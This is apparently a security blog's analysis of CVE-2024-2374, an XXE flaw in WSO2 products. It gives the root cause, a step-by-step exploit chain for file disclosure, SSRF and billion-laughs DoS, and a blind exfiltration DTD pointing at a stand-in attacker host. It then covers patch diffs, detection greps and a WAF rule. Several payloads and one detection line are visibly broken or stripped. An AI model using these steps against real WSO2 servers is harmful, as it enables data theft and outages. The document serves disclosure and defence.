home intel cve-2024-2374-wso2-xxe-rce-analysis
CVE Analysis 2026-04-16 · 8 min read

CVE-2024-2374: XXE in WSO2 Products Enables File Read and SSRF

WSO2 XML parsers accept user-supplied data without disabling external entity resolution, enabling file disclosure, SSRF, and DoS via recursive entity expansion.

#xxe-injection#xml-external-entity#information-disclosure#file-system-access#wso2
Technical mode — for security professionals
▶ Attack flow — CVE-2024-2374 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2024-2374Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2024-2374 is an XML External Entity (XXE) injection vulnerability affecting multiple WSO2 products. The XML parsing subsystem accepts user-controlled input and passes it to a SAX or DOM parser configured with default factory settings — settings that, under the JAXP specification, permit external entity resolution unless explicitly disabled. The result is a classic but consistently high-impact class of vulnerability: an unauthenticated or low-privilege attacker can dereference file:// URIs on the server, pivot to internal HTTP services via http:// SSRF, and exhaust JVM heap through billion-laughs-style recursive entity expansion.

CVSS 7.5 (HIGH) is assigned without authentication as a prerequisite. No in-the-wild exploitation has been confirmed at the time of publication.

Root cause: WSO2's XML parsing pipeline instantiates DocumentBuilderFactory or SAXParserFactory without setting FEATURE_SECURE_PROCESSING or disabling DOCTYPE declarations, allowing attacker-supplied XML to resolve arbitrary external entities against the server's filesystem and network stack.

Affected Component

The vulnerable surface lives inside WSO2's shared XML utility layer, consumed across Identity Server, API Manager, Enterprise Integrator, and the Carbon kernel. The central entry point is the XML ingestion path that processes SOAP envelopes, SAML assertions, configuration payloads, and REST request bodies that declare a content-type of application/xml or text/xml.

Relevant class hierarchy:

org.wso2.carbon.utils.xml.XMLUtils
  └─ org.apache.axiom.om.impl.builder.StAXOMBuilder      // Axiom-based path
org.wso2.carbon.identity.core.util.IdentityUtil
  └─ javax.xml.parsers.DocumentBuilderFactory            // DOM path
org.wso2.carbon.mediation.security.SAMLTokenHandler
  └─ javax.xml.parsers.SAXParserFactory                  // SAX path

Root Cause Analysis

The core failure is a missing hardening step during parser factory initialization. Below is representative pseudocode reconstructed from WSO2 Carbon kernel source matching the vulnerable pattern:

// Reconstructed from org.wso2.carbon.utils.xml.XMLUtils
// Vulnerable parser initialization — no entity restrictions applied

DocumentBuilderFactory parseXMLPayload(byte *xml_input, size_t len) {

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    // BUG: No call to dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)
    // BUG: No call to dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
    // BUG: No call to dbf.setExpandEntityReferences(false)
    // BUG: No call to dbf.setFeature("http://xml.org/sax/features/external-general-entities", false)

    dbf.setNamespaceAware(true);
    dbf.setValidating(false);      // validation disabled, but entity resolution still active

    DocumentBuilder db  = dbf.newDocumentBuilder();
    Document        doc = db.parse(new InputSource(
                              new ByteArrayInputStream(xml_input, len)
                          ));
    // BUG: parser resolves SYSTEM/PUBLIC identifiers in DOCTYPE declarations
    // against the local filesystem and reachable network resources
    return doc;
}

The Java XML parser default behavior under OpenJDK permits DOCTYPE declarations and resolves SYSTEM identifiers unless the application explicitly opts out. WSO2's wrapper does neither. Contrast this with the correct initialization:

// Secure factory initialization (what should have been there)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl",          true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities",         false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities",       false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd",false);
dbf.setExpandEntityReferences(false);
dbf.setXIncludeAware(false);

Exploitation Mechanics

Three distinct attack primitives are available depending on parser configuration and available network paths.

Primitive 1: File Disclosure via file:// entity


  
]>

  &xxe;

Primitive 2: SSRF via http:// entity

]>
Primitive 3: Billion Laughs DoS

  
  
  
  
]>
&e;
Exploit chain for file disclosure against a WSO2 Identity Server endpoint:
EXPLOIT CHAIN — CVE-2024-2374 File Disclosure:

1. Identify a WSO2 endpoint accepting XML: /samlsso, /oauth2/token,
   or any admin service WSDL/SOAP endpoint (e.g., /services/UserAdmin)

2. Craft a SAML AuthnRequest or SOAP body embedding the XXE DOCTYPE
   declaration with a SYSTEM entity pointing to target file path

3. POST payload to endpoint:
   POST /samlsso HTTP/1.1
   Host: target.wso2.instance:9443
   Content-Type: application/xml

   [DOCTYPE bomb or file:/// entity XML]

4. Parser instantiates DocumentBuilder without restrictions,
   encounters DOCTYPE declaration, resolves SYSTEM identifier

5. JVM opens FileInputStream("/etc/passwd") or URLConnection to SSRF target,
   reads content into entity expansion buffer

6. Expanded entity value is embedded in the parsed document tree,
   serialized into the HTTP error response body or a SAML response
   field reflected to the attacker

7. For blind XXE: stand up OOB server (interactserver.io or Burp Collaborator),
   use parameter entity to exfiltrate via DNS or HTTP callback:
   

8. For DoS: submit billion-laughs payload — JVM heap exhausted within
   seconds; WSO2 Carbon runtime throws OutOfMemoryError, node crashes
Blind OOB exfiltration DTD (hosted on attacker server):
# attacker.tld/evil.dtd content served dynamically
evil_dtd = """

">
%%wrap;
"""

# Trigger payload sent to WSO2
trigger_xml = """

  %%remote;
]>
&exfil;
"""

Memory Layout

This is not a memory corruption vulnerability — the impact model is information disclosure and resource exhaustion at the JVM heap level. The relevant state during a billion-laughs attack:

JVM HEAP STATE — DURING ENTITY EXPANSION (billion laughs):

T=0ms   Eden space: [                    ] 256MB free
        Entity &a; resolved → 38-byte string interned to string pool

T=12ms  Eden space: [####               ] ~40MB consumed
        Entity &b; → 18x &a; = 684 bytes * 18^1 expansions

T=80ms  Eden space: [#############      ] ~180MB consumed
        Entity &c; → 18x &b; = expansion tree in progress

T=210ms Eden space: [####################] FULL → Minor GC triggered
        Survivor spaces overflowing → objects promoted to Old Gen

T=410ms Old Gen:    [####################] FULL
        GC overhead limit exceeded
        java.lang.OutOfMemoryError thrown in XML parser thread

T=410ms WSO2 Carbon kernel: org.apache.xml.utils.SAXSourceLocator
        Unhandled OOM propagates up call stack
        Server thread pool exhausted — node unresponsive

Patch Analysis

The fix requires hardening every DocumentBuilderFactory, SAXParserFactory, and XMLInputFactory instantiation in the affected codebase. WSO2's remediation follows OWASP's XXE prevention cheat sheet pattern:

// BEFORE (vulnerable) — org.wso2.carbon.utils.xml.XMLUtils:
public static Document buildDOM(InputStream is) throws Exception {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setNamespaceAware(true);
    // no security features set
    return dbf.newDocumentBuilder().parse(is);
}

// AFTER (patched):
public static Document buildDOM(InputStream is) throws Exception {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setNamespaceAware(true);
    dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,                           true);
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl",           true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities",          false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities",        false);
    dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    dbf.setExpandEntityReferences(false);
    dbf.setXIncludeAware(false);
    return dbf.newDocumentBuilder().parse(is);
}
// BEFORE — SAX path (org.wso2.carbon.identity.core.util.IdentityUtil):
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser sp = spf.newSAXParser();
// BUG: SYSTEM entity resolution enabled by default

// AFTER:
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl",          true);
spf.setFeature("http://xml.org/sax/features/external-general-entities",         false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities",       false);
spf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,                          true);
SAXParser sp = spf.newSAXParser();

Detection and Indicators

Server-side indicators of active exploitation:

DETECTION INDICATORS:

# Access log pattern — OOB callback attempt
grep -E "GET /\?[dx]=|/evil\.dtd|/xxe\.dtd" /var/log/nginx/access.log

# WSO2 Carbon log — entity expansion causing parser warnings
grep -i "doctype\|external entity\|SAXParseException\|OutOfMemoryError" \
     $WSO2_HOME/repository/logs/wso2carbon.log

# Suspicious POST bodies to SAML/SOAP endpoints
grep -E " and dst port 80 or 443' | \
    grep -v known_upstream_hosts

# JVM heap dump evidence
ls -lh $WSO2_HOME/repository/logs/heap-dump-*.hprof
# Large hprof files correlate with DoS attempts

WAF rule to block XXE payloads at the perimeter:

SecRule REQUEST_BODY "@rx (?i)]*(?:SYSTEM|PUBLIC)" \
    "id:9002374,\
     phase:2,\
     deny,\
     status:400,\
     log,\
     msg:'CVE-2024-2374 XXE attempt blocked',\
     logdata:'Matched: %{MATCHED_VAR}'"

Remediation

Immediate: Apply the WSO2 security advisory patch corresponding to your product version. WSO2 publishes WUM (WSO2 Update Manager) updates; apply the relevant update level referenced in the advisory.

Short-term hardening if patch cannot be applied immediately:

  • Deploy a WAF rule blocking requests containing DOCTYPE and ENTITY keywords in XML content-type bodies.
  • Restrict outbound network access from the WSO2 host to only required upstream services — this breaks OOB exfiltration and limits SSRF blast radius.
  • Enable JVM entity expansion limits via system properties: -Djdk.xml.entityExpansionLimit=64 and -Djdk.xml.maxOccurLimit=64.

Long-term: Audit every DocumentBuilderFactory, SAXParserFactory, and XMLInputFactory instantiation across all custom WSO2 extensions and mediators. Enforce via a build-time static analysis rule (SpotBugs XXE_DOCUMENT, XXE_SAXPARSER, XXE_XMLREADER detectors) that fails CI on any unguarded parser factory instantiation.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →